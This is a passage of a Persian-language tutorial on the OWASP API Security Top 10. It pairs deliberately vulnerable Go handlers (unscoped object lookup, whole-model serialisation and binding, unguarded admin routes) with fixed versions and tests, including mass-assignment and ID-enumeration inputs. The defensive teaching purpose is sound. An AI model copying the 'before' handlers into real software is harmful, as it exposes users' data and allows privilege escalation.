| API1 | node(id:) و شناسهٔ سراسری؛ مجوز در هر resolver | بررسی هر method handler یا interceptor با جستوجوی شیء | شناسهٔ شیء رخداد باید متعلق به حساب فرستنده باشد |
| API3 | مجوز فیلد؛ introspection فیلد پنهان را آشکار میکند | پیام پاسخ دارای فیلد داخلی | کل payload را بهعنوان مدل ذخیره نکنید |
| API4 | سقف عمق، پیچیدگی و batch؛ cheat sheetِ GraphQL در OWASP | حداکثر اندازهٔ پیام و deadline | سقف بدنه؛ پردازش async |
| API5 | mutation باز برای همهٔ نقشها | RPC مدیریتی در همان سرویس | کاربرد ندارد |
| API9 | introspection روشن در production؛ فیلد قدیمی schema | packageهای proto قدیمی هنوز سرو میشوند | URL ناشناختهٔ webhook هنوز فعال است |
| API10 | اعتماد کور به subgraphهای federated | اعتماد کور به سرویس بالادستی | بررسی امضای HMAC، timestamp و پنجرهٔ replay |
طراحی schema و resolver در GraphQL و gRPC، و امضای webhook در کلیدهای API، امضای درخواست و webhook است.
سازوکار
تنظیمهای دقیق
| تنظیم | کجا | مقدار این فصل |
|---|---|---|
الگوی متد ServeMux (GET /orders/{id}) | Go 1.22+ net/http | متد در هر الگو؛ بقیه 405 |
r.PathValue("id") | Go 1.22+ | فقط کلید جستوجو؛ هرگز اختیار دسترسی نیست |
principal با context.WithValue | Go context | یکبار در middleware احراز هویت؛ خواندن در هر handler |
json.Decoder.DisallowUnknownFields | Go encoding/json | روشن برای هر DTO ورودی؛ API3 |
http.MaxBytesReader | Go net/http | 8 KiB پروفایل، 32 KiB batch؛ API4 |
| سقف اندازهٔ صفحه | هر دو | پیشفرض 20، حداکثر 100 |
| عملیات batch در هر درخواست | هر دو | حداکثر 25 |
http.Client.Timeout | Go | 5 s برای شریک؛ صفر یعنی بدون سقف؛ API10 |
http.Client.CheckRedirect | Go | خطا مگر https و میزبان مجاز؛ حداکثر 3 گام |
io.LimitReader | Go | 64 KiB بدنهٔ بالادستی |
#[Fillable([...])] / protected $fillable | مدل Laravel | فقط name و email |
#[Hidden([...])] | مدل Laravel | password، remember_token، mfa_secret |
قاعدهٔ prohibited | Form Request در Laravel | role، blocked، tenant_id |
Response::denyAsNotFound() | Policy در Laravel | شیء بیگانه ناموجود بهنظر میرسد |
Gate::define('admin', ...) و can:admin | Laravel | هر گروه مسیر و controller مدیریتی |
RateLimiter::for('checkout', ...) | Laravel | 5/min برای کاربر، 300/min برای SKU |
Model::preventSilentlyDiscardingAttributes | Laravel | $this->app->isLocal() |
Http::globalOptions(['allow_redirects' => false]) | Laravel | همهٔ فراخوانیهای خروجی |
connectTimeout / timeout | کلاینت HTTP در Laravel | 2 s / 5 s؛ timeout پیشفرض 30 s |
Deprecation / Sunset | هدر پاسخ | @1782863999 / Thu, 31 Dec 2026 23:59:59 GMT |
deprecated، x-owner، x-sunset در OpenAPI | spec | هر عملیات مالک دارد؛ کنارگذاشتهشدهها sunset دارند |
| Policy جریان | Go flows.Policy / ثابتهای Laravel | 2 برای کاربر، 2 برای دستگاه، سبد تا checkout حداقل 1 s |
کدهای وضعیت و پیامها
| وضعیت | معنی در این فصل | خطر | نکته |
|---|---|---|---|
| 401 Unauthorized | اعتبارنامهٔ غایب یا نامعتبر | API2 | middleware احراز هویت پیش از handler |
| 403 Forbidden | تابع برای این نقش مجاز نیست | API5 | AuthorizationException در Laravel؛ Gate::authorize پرتابش میکند |
| 404 Not Found | شیء ناموجود یا متعلق به دیگری | API1 | بدنهٔ یکسان تا وجود شناسه تأیید نشود |
| 405 Method Not Allowed | متد برای مسیر ثبت نشده | API5, API8 | Go ServeMux همراه هدر Allow؛ OWASP REST: "Reject all requests not matching the allowlist with HTTP response code 405" |
| 400 Bad Request | ویژگی ناشناخته؛ json: unknown field "role" | API3 | DTO ورودی Go با DisallowUnknownFields |
| 422 Unprocessable Content | The role field is prohibited. | API3 | پیام انگلیسی Laravel: 'prohibited' => 'The :attribute field is prohibited.' در lang/en/validation.php |
| 428 Precondition Required | challenge لازم؛ CAPTCHA یا step-up | API6 | اینجا برای «سریعتر از انسان» |
| 429 Too Many Requests | رسیدن به سقف نرخ یا جریان | API4, API6 | Laravel: "a response with a 429 HTTP status code will automatically be returned" توسط throttle |
| 409 Conflict | اتمام موجودی | API6 | رخداد امنیتی نیست |
| 410 Gone | عبور نسخه از sunset | API9 | پس از هفتهها هدر Deprecation/Sunset |
| 413 Content Too Large | بدنه بزرگتر از سقف | API4 | http.MaxBytesError در Go |
500 با application/problem+json | خطای عمومی با instance: urn:error:<id> | API8 | جزئیات فقط در لاگ سرور |
خطر ← CWE ← تشخیص
ارجاعهای CWE مطابق صفحهٔ هر خطر OWASP هستند؛ عنوانها از MITRE در cwe.mitre.org و روش یافتن در ستون بعد آمدهاند:
| خطر | CWE در فهرست OWASP | خوب پیدا میکند | از دست میدهد |
|---|---|---|---|
| API1 | CWE-285 Improper Authorization; CWE-639 Authorization Bypass Through User-Controlled Key | بازپخش دوحسابی شبیه Burp Suite Autorize، تست واحد مجوز، هشدار authz_fail | SAST؛ دانش دامنه لازم است |
| API2 | CWE-204 Observable Response Discrepancy; CWE-307 Improper Restriction of Excessive Authentication Attempts | fuzz ورود، مجموعهتست JWT | قواعد Re-authentication کسبوکار |
| API3 | CWE-213 Exposure of Sensitive Information Due to Incompatible Policies; CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes | مقایسهٔ schema پاسخ و fuzz ویژگی؛ "Fuzzing is usually used to identify additional (hidden) properties" | فیلد ظاهراً بیضرر |
| API4 | CWE-770, CWE-400 Uncontrolled Resource Consumption, CWE-799 Improper Control of Interaction Frequency | تست بار با limit بزرگ، fuzz batch، هشدار هزینه | هزینهٔ شخص ثالث |
| API5 | CWE-285 | تست ماتریس نقش؛ هر مسیر × هر نقش | مسیر خارج از ماتریس |
| API6 | موردی ذکر نشده | مرور محصولی جریانها و telemetry مدیریت ربات | فقط code review |
| API7 | CWE-918 Server-Side Request Forgery | callback خارج از باند | SSRF کور بدون OAST |
| API8 | CWE-2, CWE-16, CWE-209, CWE-319, CWE-388, CWE-444, CWE-942 | scanner پیکربندی، baselineِ DAST | proxyهای ناسازگار |
| API9 | CWE-1059؛ OWASP: "Incomplete Documentation"؛ MITRE: Insufficient Technical Documentation | پیمایش DNS و certificate transparency، مقایسهٔ spec و مسیر، کشف ترافیک | نقطهٔ کور جریان داده |
| API10 | CWE-20 Improper Input Validation; CWE-200; CWE-319 | تست قرارداد با fixture مهاجم و لاگ egress | نفوذ واقعی به شریک |
هزینهٔ دفاع
| کنترل | هزینهٔ تقریبی هر درخواست |
|---|---|
Query محدودشده (AND tenant_id = $2 AND owner_id = $3) | با index روی (tenant_id, id) قابلاندازهگیری نیست |
| فراخوانی تابع policy | نانوثانیه؛ resolutionِ Policy در Laravel میکروثانیه |
| نگاشت DTO پاسخ | یک کپی struct یا ساخت array |
DisallowUnknownFields | هیچ؛ flag روی decoder است |
| بررسی نقش در جدول مسیر | یک جستوجو در slice |
| محافظ جریان در حافظه | mutex و دو جستوجوی map؛ با Redis یک رفتوبرگشت |
| هدر چرخهٔ عمر | دو فراخوانی Header().Set |
| اعتبارسنجی بالادستی | چند تطبیق regex روی رشتهٔ کوتاه |
خط لاگ authz_fail | یک نوشتن ساختیافته، فقط هنگام رد |
این اعداد تخمین سرانگشتی از عملیاتاند، نه benchmark. هیچکدام انتخابی بر سر کارایی نیست؛ هزینه در انضباط مهندسی است: هر Query محدود، هر مسیر با policy و هر شکل داده یک DTO.
Go
مثال: endpoint آسیبپذیر و اصلاحشده همراه تست
یک ماژول فقط با کتابخانهٔ استاندارد داریم: module academy/owasp-api-security-top-10 و go 1.24. الگوهای متد و wildcard در ServeMux و Request.PathValue از Go 1.22 آمدهاند. هر package تستی دارد که با دیدن نشت در کد «قبل» قبول میشود و سپس نشان میدهد کد «بعد» آن را میبندد.
principal در context، یعنی جایگزین سادهٔ احراز هویت مشترک بین handlerها، و تست آن:
// Package principal carries the authenticated caller through context.Context.
// Authentication (who are you?) happens once, at the edge; every handler then
// reads the caller from the context for authorization (may you do this?).
// Real token validation lives in the JWT and OAuth chapters; this is a stub.
package principal
import (
"context"
"net/http"
"slices"
"strings"
)
// User is the caller as the server knows it. It never comes from the request
// body or a path parameter.
type User struct {
ID int64
TenantID int64
Roles []string
}
// HasRole reports whether the caller holds role r.
func (u User) HasRole(r string) bool { return slices.Contains(u.Roles, r) }
type ctxKey struct{}
// With returns a context that carries u.
func With(ctx context.Context, u User) context.Context {
return context.WithValue(ctx, ctxKey{}, u)
}
// From returns the caller stored by With, if any.
func From(ctx context.Context) (User, bool) {
u, ok := ctx.Value(ctxKey{}).(User)
return u, ok
}
// Lookup maps a bearer token to a user. Production code verifies a session
// or a signed token here.
type Lookup func(token string) (User, bool)
// Middleware rejects requests without a known bearer token (401) and stores
// the caller in the request context for the handlers behind it.
func Middleware(lookup Lookup) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tok, ok := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ")
if !ok {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
u, ok := lookup(tok)
if !ok {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r.WithContext(With(r.Context(), u)))
})
}
}
// Static is a Lookup over a fixed token table, for tests and examples.
func Static(users map[string]User) Lookup {
return func(tok string) (User, bool) {
u, ok := users[tok]
return u, ok
}
}package principal
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestWithFromRoundTrip(t *testing.T) {
if _, ok := From(context.Background()); ok {
t.Fatal("empty context must carry no principal")
}
u, ok := From(With(context.Background(), User{ID: 41, TenantID: 7, Roles: []string{"support"}}))
if !ok || u.ID != 41 || !u.HasRole("support") || u.HasRole("admin") {
t.Fatalf("round trip lost data: %+v %v", u, ok)
}
}
func TestMiddleware(t *testing.T) {
var seen User
h := Middleware(Static(map[string]User{"tok": {ID: 41}}))(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
seen, _ = From(r.Context())
}))
for header, want := range map[string]int{"": 401, "Basic abc": 401, "Bearer nope": 401, "Bearer tok": 200} {
req := httptest.NewRequest("GET", "/", nil)
if header != "" {
req.Header.Set("Authorization", header)
}
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != want {
t.Fatalf("%q: want %d, got %d", header, want, rec.Code)
}
}
if seen.ID != 41 {
t.Fatalf("handler did not see the principal: %+v", seen)
}
}API1 BOLA: Store با جستوجوی بدون scope و محدودشده، handler آسیبپذیر، handler اصلاحشده با تابع policy و لاگ authz_fail، و تست. Ana سفارش Bob را میخواند و ۳ سفارش را پیمایش میکند؛ پس از اصلاح، ۴۰۴ دقیقاً مشابه شناسهٔ ناموجود است و یک خط لاگ ثبت میشود:
// Package bola shows API1:2023 Broken Object Level Authorization: the caller
// is authenticated and allowed to call GET /orders/{id}, but the handler
// never asks whether this order belongs to this caller.
package bola
import "sync"
// Order is one stored object. OwnerID and TenantID are what the
// object-level authorization check compares against the caller.
type Order struct {
ID int64 `json:"id"`
OwnerID int64 `json:"owner_id"`
TenantID int64 `json:"tenant_id"`
Total int64 `json:"total_cents"`
}
// Store is an in-memory stand-in for the orders table.
type Store struct {
mu sync.RWMutex
byID map[int64]Order
}
// NewStore returns a store holding orders.
func NewStore(orders ...Order) *Store {
s := &Store{byID: make(map[int64]Order, len(orders))}
for _, o := range orders {
s.byID[o.ID] = o
}
return s
}
// Get is "SELECT ... FROM orders WHERE id = $1": no owner in the WHERE clause.
func (s *Store) Get(id int64) (Order, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
o, ok := s.byID[id]
return o, ok
}
// GetScoped is "SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3":
// the database cannot return a foreign row, whatever the handler forgets.
func (s *Store) GetScoped(id, tenantID, ownerID int64) (Order, bool) {
o, ok := s.Get(id)
if !ok || o.TenantID != tenantID || o.OwnerID != ownerID {
return Order{}, false
}
return o, true
}package bola
import (
"encoding/json"
"net/http"
"strconv"
)
// GetOrderBefore is authenticated (it sits behind principal.Middleware) but
// trusts the id in the path: any logged-in user can read any order by
// changing /orders/1001 to /orders/1002.
func GetOrderBefore(s *Store) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
if err != nil {
http.Error(w, "bad id", http.StatusBadRequest)
return
}
o, ok := s.Get(id)
if !ok {
http.NotFound(w, r)
return
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(o)
}
}package bola
import (
"encoding/json"
"log/slog"
"net/http"
"strconv"
"academy/owasp-api-security-top-10/principal"
)
// CanView is the policy object for orders: one place that answers
// "may this caller see this order?". Tenant first, then ownership, then
// an explicit support role scoped to the same tenant.
func CanView(u principal.User, o Order) bool {
if o.TenantID != u.TenantID {
return false
}
return o.OwnerID == u.ID || u.HasRole("support")
}
// GetOrder performs the object-level authorization check on every request.
// The caller comes from the context (set by the auth middleware), never from
// the request. Foreign and missing orders get the same 404 so the response
// is not an existence oracle; foreign ones are logged as authz_fail.
func GetOrder(s *Store, log *slog.Logger) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
u, ok := principal.From(r.Context())
if !ok {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
if err != nil {
http.Error(w, "bad id", http.StatusBadRequest)
return
}
o, found := s.Get(id)
if !found || !CanView(u, o) {
if found {
log.Warn("authz_fail",
slog.Int64("user_id", u.ID),
slog.String("resource", "order"),
slog.Int64("object_id", id),
slog.String("path", r.URL.Path))
}
http.NotFound(w, r)
return
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(o)
}
}package bola
import (
"bytes"
"io"
"log/slog"
"net/http"
"net/http/httptest"
"strings"
"testing"
"academy/owasp-api-security-top-10/principal"
)
var users = principal.Static(map[string]principal.User{
"tok-ana": {ID: 41, TenantID: 7},
"tok-bob": {ID: 57, TenantID: 7},
})
func store() *Store {
return NewStore(
Order{ID: 1001, OwnerID: 41, TenantID: 7, Total: 1999},
Order{ID: 1002, OwnerID: 57, TenantID: 7, Total: 250000},
Order{ID: 1003, OwnerID: 57, TenantID: 7, Total: 1200},
)
}
func server(h http.HandlerFunc) http.Handler {
mux := http.NewServeMux()
mux.Handle("GET /orders/{id}", h)
return principal.Middleware(users)(mux)
}
func get(t *testing.T, h http.Handler, path, tok string) (int, string) {
t.Helper()
req := httptest.NewRequest(http.MethodGet, path, nil)
req.Header.Set("Authorization", "Bearer "+tok)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
b, _ := io.ReadAll(rec.Body)
return rec.Code, string(b)
}
func TestBeforeLeaksForeignOrder(t *testing.T) {
h := server(GetOrderBefore(store()))
code, body := get(t, h, "/orders/1002", "tok-ana")
if code != http.StatusOK || !strings.Contains(body, `"owner_id":57`) {
t.Fatalf("expected the vulnerable handler to return Bob's order to Ana, got %d %s", code, body)
}
// Sequential ids make enumeration a loop.
leaked := 0
for _, p := range []string{"/orders/1001", "/orders/1002", "/orders/1003", "/orders/1004"} {
if c, _ := get(t, h, p, "tok-ana"); c == http.StatusOK {
leaked++
}
}
if leaked != 3 {
t.Fatalf("expected 3 readable orders by enumeration, got %d", leaked)
}
}
func TestAfterDeniesAndLogs(t *testing.T) {
var logs bytes.Buffer
h := server(GetOrder(store(), slog.New(slog.NewJSONHandler(&logs, nil))))
if code, _ := get(t, h, "/orders/1001", "tok-ana"); code != http.StatusOK {
t.Fatalf("owner must read own order, got %d", code)
}
codeForeign, bodyForeign := get(t, h, "/orders/1002", "tok-ana")
codeMissing, bodyMissing := get(t, h, "/orders/9999", "tok-ana")
if codeForeign != http.StatusNotFound || codeForeign != codeMissing || bodyForeign != bodyMissing {
t.Fatalf("foreign and missing must look identical: %d %q vs %d %q", codeForeign, bodyForeign, codeMissing, bodyMissing)
}
if !strings.Contains(logs.String(), `"msg":"authz_fail"`) || !strings.Contains(logs.String(), `"object_id":1002`) {
t.Fatalf("expected an authz_fail log line, got %s", logs.String())
}
if strings.Contains(logs.String(), `"object_id":9999`) {
t.Fatal("a missing object is not an authorization failure")
}
if code, _ := get(t, h, "/orders/1002", "no-such-token"); code != http.StatusUnauthorized {
t.Fatalf("unknown token must be 401, got %d", code)
}
}
func TestScopedQuery(t *testing.T) {
s := store()
if _, ok := s.GetScoped(1002, 7, 41); ok {
t.Fatal("scoped lookup returned a foreign row")
}
if _, ok := s.GetScoped(1002, 7, 57); !ok {
t.Fatal("scoped lookup must return the owner's row")
}
}API3 BOPLA: مدل، سریالسازی و bind کل مدل، سپس DTO پاسخ برای هر مخاطب و DTO ورودی با DisallowUnknownFields:
// Package bopla shows API3:2023 Broken Object Property Level Authorization,
// the merger of two 2019 risks: excessive data exposure (reading properties
// the caller must not see) and mass assignment (writing properties the
// caller must not set).
package bopla
// User is the persistence model. Several properties are server-owned or
// secret and must never be bound from, or written to, an API payload.
type User struct {
ID int64 `json:"id"`
Name string `json:"name"`
Email string `json:"email"`
PasswordHash string `json:"password_hash"`
MFASecret string `json:"mfa_secret"`
Role string `json:"role"`
Blocked bool `json:"blocked"`
RecentLocation string `json:"recent_location"`
}package bopla
import (
"encoding/json"
"net/http"
)
// ShowBefore serialises the whole model and relies on the client to hide
// what it should not display: password_hash, mfa_secret and
// recent_location travel to every caller.
func ShowBefore(w http.ResponseWriter, u User) {
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(u)
}
// UpdateBefore binds the request body onto the model: a client that adds
// "role":"admin" or "blocked":false to a profile update gets it.
func UpdateBefore(u *User, r *http.Request) error {
return json.NewDecoder(r.Body).Decode(u)
}package bopla
import (
"encoding/json"
"errors"
"net/http"
"net/mail"
"strings"
)
// PublicUser is the response DTO other users get: an allow-list of
// properties, so a new column on User is private until someone adds it here.
type PublicUser struct {
ID int64 `json:"id"`
Name string `json:"name"`
}
// SelfUser is what the owner sees about themselves.
type SelfUser struct {
ID int64 `json:"id"`
Name string `json:"name"`
Email string `json:"email"`
Role string `json:"role"`
}
// View picks the DTO by the relationship between viewer and subject. It is
// a property-level authorization decision, made on the server.
func View(subject User, viewerID int64) any {
if subject.ID == viewerID {
return SelfUser{ID: subject.ID, Name: subject.Name, Email: subject.Email, Role: subject.Role}
}
return PublicUser{ID: subject.ID, Name: subject.Name}
}
// Show writes the DTO chosen by View.
func Show(w http.ResponseWriter, subject User, viewerID int64) {
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(View(subject, viewerID))
}
// UpdateInput is the input DTO: the only properties a user may change.
// Pointers distinguish "absent" from "empty".
type UpdateInput struct {
Name *string `json:"name"`
Email *string `json:"email"`
}
// ErrInvalid covers unknown properties, oversize bodies and bad values.
var ErrInvalid = errors.New("bopla: invalid input")
// Update decodes into the input DTO with DisallowUnknownFields (a probe for
// "role" is a 400, not a silent success), validates every field into local
// values, and only then copies them: a rejected request changes nothing.
func Update(u *User, w http.ResponseWriter, r *http.Request) error {
dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, 8<<10))
dec.DisallowUnknownFields()
var in UpdateInput
if err := dec.Decode(&in); err != nil {
return errors.Join(ErrInvalid, err)
}
name, email := u.Name, u.Email
if in.Name != nil {
name = strings.TrimSpace(*in.Name)
if name == "" || len(name) > 100 {
return ErrInvalid
}
}
if in.Email != nil {
a, err := mail.ParseAddress(*in.Email)
if err != nil || a.Address != *in.Email {
return ErrInvalid
}
// Changing the e-mail also needs re-authentication (API2); see authn.
email = a.Address
}
u.Name, u.Email = name, email
return nil
}package bopla
import (
"errors"
"net/http/httptest"
"strings"
"testing"
)
func victim() User {
return User{ID: 313, Name: "Sam", Email: "sam@example.com", PasswordHash: "$argon2id$v=19$...",
MFASecret: "JBSWY3DPEHPK3PXP", Role: "user", Blocked: true, RecentLocation: "52.37,4.89"}
}
func TestBeforeExposesSecrets(t *testing.T) {
rec := httptest.NewRecorder()
ShowBefore(rec, victim())
for _, leak := range []string{"password_hash", "mfa_secret", "recent_location"} {
if !strings.Contains(rec.Body.String(), leak) {
t.Fatalf("expected the vulnerable handler to expose %s, got %s", leak, rec.Body.String())
}
}
}
func TestBeforeMassAssignment(t *testing.T) {
u := victim()
body := `{"name":"Sam","role":"admin","blocked":false}`
if err := UpdateBefore(&u, httptest.NewRequest("PATCH", "/me", strings.NewReader(body))); err != nil {
t.Fatal(err)
}
if u.Role != "admin" || u.Blocked {
t.Fatalf("expected escalation and unblocking in the vulnerable version, got %+v", u)
}
}
func TestAfterResponseDTO(t *testing.T) {
rec := httptest.NewRecorder()
Show(rec, victim(), 41) // another user looks at Sam
got := strings.TrimSpace(rec.Body.String())
if got != `{"id":313,"name":"Sam"}` {
t.Fatalf("public view must be the allow-list only, got %s", got)
}
rec = httptest.NewRecorder()
Show(rec, victim(), 313) // Sam looks at Sam
if strings.Contains(rec.Body.String(), "password_hash") || !strings.Contains(rec.Body.String(), "sam@example.com") {
t.Fatalf("self view wrong: %s", rec.Body.String())
}
}
func TestAfterRejectsServerOwnedProperties(t *testing.T) {
u := victim()
err := Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":"Sam","blocked":false}`)))
if !errors.Is(err, ErrInvalid) || !u.Blocked || u.Role != "user" {
t.Fatalf("blocked/role must not change: err=%v user=%+v", err, u)
}
err = Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":" Samira "}`)))
if err != nil || u.Name != "Samira" {
t.Fatalf("allowed property not applied: err=%v user=%+v", err, u)
}
}
func TestAfterRejectedUpdateChangesNothing(t *testing.T) {
u := victim()
err := Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":"Changed","email":"not an address"}`)))
if !errors.Is(err, ErrInvalid) || u.Name != "Sam" || u.Email != "sam@example.com" {
t.Fatalf("no partial update allowed: err=%v user=%+v", err, u)
}
}API5 BFLA: ثبت تابع مدیریتی کنار تابع کاربر، در برابر جدول مسیری که مسیر بدون policy را نمیپذیرد:
// Package bfla shows API5:2023 Broken Function Level Authorization: a
// regular user calls a function meant for administrators, by guessing the
// URL or by changing the HTTP method.
package bfla
import "net/http"
// NewMuxBefore registers admin functions next to user functions and relies
// on the admin console not showing them. Every route is authenticated by the
// outer middleware; none checks the role.
func NewMuxBefore(h Handlers) *http.ServeMux {
mux := http.NewServeMux()
mux.Handle("GET /api/users/{id}", h.ShowUser)
mux.Handle("DELETE /api/users/{id}", h.DeleteUser) // only the method differs
mux.Handle("POST /api/invites/new", h.CreateInvite) // admin-only function
mux.Handle("GET /api/admin/v1/users/all", h.ExportUsers) // "hidden" admin URL
return mux
}package bfla
import (
"fmt"
"log/slog"
"net/http"
"academy/owasp-api-security-top-10/principal"
)
// Handlers are the business functions; they contain no authorization code.
type Handlers struct {
ShowUser, DeleteUser, CreateInvite, ExportUsers http.Handler
}
// Route is one function plus the policy that guards it. A route must either
// name the roles allowed to call it or say explicitly that any
// authenticated caller may (AnyUser); there is no third option.
type Route struct {
Pattern string
Handler http.Handler
Roles []string
AnyUser bool
}
// NewMux builds the router from a route table and refuses to start if a
// route has no policy: deny by default is enforced at build time, not by
// remembering to add a check.
func NewMux(routes []Route, log *slog.Logger) (*http.ServeMux, error) {
mux := http.NewServeMux()
for _, rt := range routes {
if !rt.AnyUser && len(rt.Roles) == 0 {
return nil, fmt.Errorf("bfla: route %q has no authorization policy", rt.Pattern)
}
mux.Handle(rt.Pattern, requireRoles(rt, log))
}
return mux, nil
}
func requireRoles(rt Route, log *slog.Logger) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
u, ok := principal.From(r.Context())
if !ok {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
if !rt.AnyUser && !hasAny(u, rt.Roles) {
log.Warn("authz_fail",
slog.Int64("user_id", u.ID),
slog.String("function", rt.Pattern),
slog.String("method", r.Method),
slog.String("path", r.URL.Path))
http.Error(w, "forbidden", http.StatusForbidden)
return
}
rt.Handler.ServeHTTP(w, r)
})
}
func hasAny(u principal.User, roles []string) bool {
for _, r := range roles {
if u.HasRole(r) {
return true
}
}
return false
}
// Routes is the production table: the method is part of the pattern, so
// DELETE has its own policy, and admin functions say so wherever they live.
func Routes(h Handlers) []Route {
return []Route{
{Pattern: "GET /api/users/{id}", Handler: h.ShowUser, AnyUser: true}, // object check inside (API1)
{Pattern: "DELETE /api/users/{id}", Handler: h.DeleteUser, Roles: []string{"admin"}},
{Pattern: "POST /api/invites/new", Handler: h.CreateInvite, Roles: []string{"admin"}},
{Pattern: "GET /api/admin/v1/users/all", Handler: h.ExportUsers, Roles: []string{"admin"}},
}
}package bfla
import (
"bytes"
"io"
"log/slog"
"net/http"
"net/http/httptest"
"strings"
"testing"
"academy/owasp-api-security-top-10/principal"
)
var users = principal.Static(map[string]principal.User{
"tok-user": {ID: 41, TenantID: 7, Roles: []string{"user"}},
"tok-admin": {ID: 1, TenantID: 7, Roles: []string{"admin"}},
})
func ok(name string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { _, _ = io.WriteString(w, name) })
}
var handlers = Handlers{ShowUser: ok("show"), DeleteUser: ok("deleted"), CreateInvite: ok("invited"), ExportUsers: ok("all users")}
func call(h http.Handler, method, path, tok string) int {
req := httptest.NewRequest(method, path, strings.NewReader(`{"email":"x@example.com","role":"admin"}`))
req.Header.Set("Authorization", "Bearer "+tok)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
return rec.Code
}
var attacks = []struct{ method, path string }{
{http.MethodDelete, "/api/users/2"},
{http.MethodPost, "/api/invites/new"},
{http.MethodGet, "/api/admin/v1/users/all"},
}
func TestBeforeRegularUserReachesAdminFunctions(t *testing.T) {
h := principal.Middleware(users)(NewMuxBefore(handlers))
for _, a := range attacks {
if code := call(h, a.method, a.path, "tok-user"); code != http.StatusOK {
t.Fatalf("expected the vulnerable router to allow %s %s, got %d", a.method, a.path, code)
}
}
}
func TestAfterDenyByDefault(t *testing.T) {
var logs bytes.Buffer
mux, err := NewMux(Routes(handlers), slog.New(slog.NewJSONHandler(&logs, nil)))
if err != nil {
t.Fatal(err)
}
h := principal.Middleware(users)(mux)
for _, a := range attacks {
if code := call(h, a.method, a.path, "tok-user"); code != http.StatusForbidden {
t.Fatalf("%s %s by a user: want 403, got %d", a.method, a.path, code)
}
if code := call(h, a.method, a.path, "tok-admin"); code != http.StatusOK {
t.Fatalf("%s %s by an admin: want 200, got %d", a.method, a.path, code)
}
}
if code := call(h, http.MethodGet, "/api/users/2", "tok-user"); code != http.StatusOK {
t.Fatalf("regular function must stay open to users, got %d", code)
}
if code := call(h, http.MethodPut, "/api/users/2", "tok-user"); code != http.StatusMethodNotAllowed {
t.Fatalf("unregistered method must be 405, got %d", code)
}
if got := strings.Count(logs.String(), `"msg":"authz_fail"`); got != len(attacks) {
t.Fatalf("want %d authz_fail lines, got %d", len(attacks), got)
}
}
func TestRouteWithoutPolicyFailsAtStartup(t *testing.T) {
_, err := NewMux([]Route{{Pattern: "POST /api/users/{id}/promote", Handler: ok("x")}}, slog.Default())
if err == nil {
t.Fatal("a route without a policy must not be mounted")
}
}API6 Business Flows: فروشگاه درست و بدون race که یک اسکریپت خالیاش میکند؛ سپس محافظ با سقف کاربر، دستگاه و SKU همراه نشانهٔ غیرانسانی:
// Package flows shows API6:2023 Unrestricted Access to Sensitive Business
// Flows: a purchase endpoint with no bug in it, which a script can still use
// to buy the whole stock of a limited drop (scalping).
package flows
import (
"errors"
"sync"
)
// ErrSoldOut is returned when stock is exhausted.
var ErrSoldOut = errors.New("flows: sold out")
// Shop holds stock per SKU. It is correct under concurrency: the flaw in the
// "before" flow is a missing business rule, not a race.
type Shop struct {
mu sync.Mutex
stock map[string]int
}
// NewShop returns a shop with the given stock.
func NewShop(stock map[string]int) *Shop {
s := &Shop{stock: make(map[string]int, len(stock))}
for k, v := range stock {
s.stock[k] = v
}
return s
}
// take decrements stock atomically.
func (s *Shop) take(sku string, qty int) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.stock[sku] < qty {
return ErrSoldOut
}
s.stock[sku] -= qty
return nil
}
// Stock returns the remaining units.
func (s *Shop) Stock(sku string) int {
s.mu.Lock()
defer s.mu.Unlock()
return s.stock[sku]
}package flows
// CheckoutBefore sells whatever is asked for while stock lasts. Valid input,
// authenticated user, correct arithmetic: and one script empties the drop.
func CheckoutBefore(s *Shop, userID int64, sku string, qty int) error {
_ = userID // nothing about the caller limits the flow
return s.take(sku, qty)
}package flows
import (
"errors"
"strconv"
"strings"
"sync"
"time"
)
// Errors a protected flow returns. The HTTP layer maps ErrLimit to 429 and
// ErrSuspicious to a challenge (CAPTCHA, step-up) rather than a hard 403.
var (
ErrLimit = errors.New("flows: limit reached for this flow")
ErrSuspicious = errors.New("flows: automated client suspected")
ErrQuantity = errors.New("flows: quantity must be between 1 and the per-user cap")
)
// Request is one checkout attempt with the signals the guard needs.
type Request struct {
UserID int64
DeviceID string // device fingerprint computed by the client SDK or the edge
UserAgent string // a weak signal, but free
CartAddedAt time.Time // when this item went into the cart (server-side record)
SKU string
Qty int
}
// Policy is the business decision about this flow, written down.
type Policy struct {
MaxPerUser int // units per user per SKU for this drop
MaxPerDevice int // units per device per SKU (many accounts, one phone)
MaxPerSKURate int // checkouts per SKU per Window across all users
Window time.Duration // window for MaxPerSKURate
MinHumanDelay time.Duration // add-to-cart -> checkout faster than this is not a human
BlockedAgents []string // substrings of user agents refused outright
RequireDevice bool
